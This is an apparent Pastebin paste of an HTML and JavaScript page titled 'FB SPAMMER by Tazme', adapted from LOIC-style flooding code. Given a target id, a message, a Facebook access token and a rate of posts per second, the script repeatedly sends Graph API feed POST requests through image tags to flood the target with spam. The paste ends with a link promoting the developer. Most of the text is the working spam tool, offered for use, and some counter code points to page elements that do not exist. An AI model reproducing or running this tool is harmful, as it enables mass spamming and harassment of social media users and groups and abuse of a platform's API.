Advertisement
Guest User

tazme

a guest
May 27th, 2012
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.82 KB | None | 0 0
  1. <html><head><title>Spammer'Online v1.0</title><link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /></head><center><h1 style="border:green 3px double; padding:auto; margin:0px;">FB SPAMMER by Tazme</h1></center><body style="border:green 3px double; padding:auto; margin:0px; background-color:black;"><div style="border:green 3px dotted; padding:auto; margin:0px;"><br /><input type="hidden" style="border:green 3px double; padding:auto; margin:0px;" id="targetURL" value="https://graph.facebook.com/" DISABLED/><font style="color:green;">post/saat</font><input style="border:green 3px double; padding:auto; margin:0px;" id="rps" value="100" /><br /><font style="color:green;">id</font><input style="border:green 3px double; padding:auto; margin:0px;" id="group" /><font style="color:green;">POST</font><input style="border:green 3px double; padding:auto; margin:0px;" id="mesej" /><font style="color:green;">Access token</font><input style="border:green 3px double; padding:auto; margin:0px;" id="token" /><button style="border:green 3px groove; padding:auto; margin:0px; background-color:green;" id="fireButton">START</button></div><script>
  2. (function () {
  3. var fireInterval;
  4. var isFiring = false;
  5. var requestedCtrNode = document.getElementById("requestedCtr"),
  6. succeededCtrNode = document.getElementById("succeededCtr"),
  7. failedCtrNode = document.getElementById("failedCtr"),
  8. targetURLNode = document.getElementById("targetURL"),
  9. fireButton = document.getElementById("fireButton"),
  10. groupNode = document.getElementById("group"),
  11. mesejNode = document.getElementById("mesej"),
  12. tokenNode = document.getElementById("token"),
  13. rpsNode = document.getElementById("rps"),
  14. timeoutNode = document.getElementById("timeout");
  15. var targetURL = targetURLNode.value;
  16. targetURLNode.onchange = function () {
  17. targetURL = this.value;
  18. };
  19. var requestsHT = {}; // requests hash table, may come in handy later
  20. var requestedCtr = 0,
  21. succeededCtr = 0,
  22. failedCtr = 0;
  23. var makeHttpRequest = function () {
  24. if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  25. return;
  26. };
  27.  
  28. var rID =Number(new Date());
  29. var img = new Image();
  30. img.onerror = function () { onFail(rID); };
  31. img.onabort = function () { onFail(rID); };
  32. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  33.  
  34. img.setAttribute("src", targetURL + groupNode.value +"/feed?message="+ mesejNode.value +"&method=POST&access_token="+ tokenNode.value +"&ha6=" + rID);
  35. requestsHT[rID] = img;
  36. onRequest(rID);
  37. };
  38.  
  39. var onRequest = function (rID) {
  40. requestedCtr++;
  41. requestedCtrNode.innerHTML = requestedCtr;
  42. };
  43.  
  44. var onComplete = function (rID) {
  45. delete requestsHT[rID];
  46. };
  47.  
  48. var onFail = function (rID) {
  49. // failedCtr++;
  50. //failedCtrNode.innerHTML = failedCtr;
  51.  
  52. succeededCtr++; //Seems like the url will always fail it it isn't an image
  53. succeededCtrNode.innerHTML = succeededCtr;
  54. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  55. };
  56.  
  57. var onSuccess = function (rID) {
  58. succeededCtr++;
  59. succeededCtrNode.innerHTML = succeededCtr;
  60. delete requestsHT[rID];
  61. };
  62.  
  63. fireButton.onclick = function () {
  64. if (isFiring) {
  65. clearInterval(fireInterval);
  66. isFiring = false;
  67. this.innerHTML = "START";
  68. } else {
  69. isFiring = true;
  70. this.innerHTML = "Stop flooding";
  71.  
  72. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  73. }
  74. };
  75.  
  76. })();
  77.  
  78. isFiring = true;
  79. document.getElementById("fireButton").innerHTML = "Stop flooding";
  80. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  81. </script><font style="color:green;" align="center">subscribe to developer:</font><a style="color:gold;" href="http://fb.com/mohdtazme" align="center">Mohd tazme</a></body>
  82. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement